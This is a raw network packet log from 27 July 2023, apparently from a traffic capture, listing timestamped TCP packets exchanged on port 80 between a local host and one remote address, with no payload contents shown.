Jul 27, 2023 18:27:09.743105888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.743150949 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.743158102 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.743197918 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.743243933 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.743249893 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.743659973 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.744486094 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.744537115 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.744729042 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.752696037 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.752762079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.752830029 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.752880096 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.752909899 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.752922058 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.752960920 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.753038883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753077984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753161907 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.753225088 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753271103 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753320932 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753339052 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.753365040 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753377914 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.753412008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.753467083 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.754098892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754148960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754195929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754223108 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.754244089 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754290104 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754338026 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754358053 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.754384041 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754384041 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.754431009 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.754512072 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.754949093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755018950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755069971 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755099058 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.755114079 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755158901 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755203962 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755212069 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.755249023 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755268097 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.755292892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755346060 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.755812883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755862951 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755909920 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755954981 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.755974054 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.756000996 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756004095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.756063938 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756130934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756171942 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.756182909 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756232977 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.756676912 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756820917 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756869078 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756912947 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.756934881 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.756972075 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757019043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757036924 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.757066011 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757112980 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757128000 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.757178068 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757252932 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.757677078 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757726908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757771969 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757803917 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.757821083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757883072 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.757886887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.757951975 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758008003 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758016109 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.758054972 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758116007 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.758627892 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758676052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758719921 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.758722067 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758769035 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758815050 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758832932 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.758861065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758872986 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.758908033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.758954048 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759025097 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.759471893 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759565115 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.759598017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759645939 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759692907 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759737968 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759756088 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.759783983 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759795904 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.759831905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759876966 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759900093 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.759923935 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.759974957 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.760502100 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760557890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760605097 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760631084 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.760652065 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760699034 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760746002 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760751963 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.760791063 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760837078 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.760843992 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.760977983 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.761323929 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761372089 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761416912 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761464119 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761480093 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.761511087 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761569023 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.761574984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761637926 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761683941 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.761693954 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.762314081 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.762331963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762382030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762428999 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762443066 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.762474060 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762518883 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762536049 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.762563944 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762609005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762614012 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.762670994 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762737989 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.762742996 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.763267994 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763315916 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763359070 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.763362885 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763408899 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763454914 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763464928 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.763499975 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763544083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763554096 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.763588905 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.763641119 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.764131069 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764178991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764224052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764259100 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.764285088 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.764301062 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764357090 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764403105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764415979 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.764450073 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764497995 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.764558077 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.764986038 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765052080 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.765108109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765156031 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765198946 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765259981 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.765278101 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765327930 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765373945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765386105 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.765419960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765463114 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.765466928 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.765853882 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.766020060 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766048908 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766077042 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766105890 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766119003 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.766134977 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766151905 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.766164064 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766191006 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766220093 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.766222000 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.766998053 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767039061 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767074108 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767080069 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767102957 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767115116 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767132998 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767149925 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767162085 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767191887 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767220020 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767241001 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767262936 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767688990 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767719030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767749071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767772913 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767777920 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767806053 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767836094 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767853022 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767864943 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767879009 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.767895937 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.767954111 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.768627882 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768659115 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768687963 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768716097 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.768718004 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768747091 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768775940 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768800020 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.768806934 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768836021 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.768848896 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.768897057 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.769485950 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769516945 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769546032 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769575119 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769603968 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769603968 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.769634008 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769644022 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.769664049 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769695044 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.769716978 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.769740105 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.770550013 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770581007 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770610094 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770639896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770648003 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.770668030 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770698071 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770726919 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770730019 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.770746946 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.770756960 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.770819902 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.771420956 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771450043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771478891 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771507025 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.771507978 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771548033 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771581888 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771603107 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.771610022 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771629095 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.771640062 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771670103 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.771694899 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.772226095 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.772258043 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.772305012 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.772335052 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.772362947 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.772368908 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.772401094 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.772417068 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.784919024 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.784953117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.784976959 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785032034 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785161018 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785190105 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785218954 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785254955 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785259962 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785293102 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785298109 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785331964 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785362005 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785388947 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785392046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785408974 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785423994 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785465002 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785494089 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785521984 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785523891 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785542011 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785550117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785581112 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785608053 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785630941 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785655975 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785778046 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785819054 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785859108 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785880089 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785897017 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785936117 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.785953999 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.785974979 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786014080 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786030054 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786053896 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786092997 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786108017 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786123991 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786185026 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786273003 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786315918 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786370039 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786372900 CEST	49713	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:09.786418915 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786458015 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786508083 CEST	80	49713	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:09.786546946 CEST	49713	80	192.168.2.4	188.114.97.7
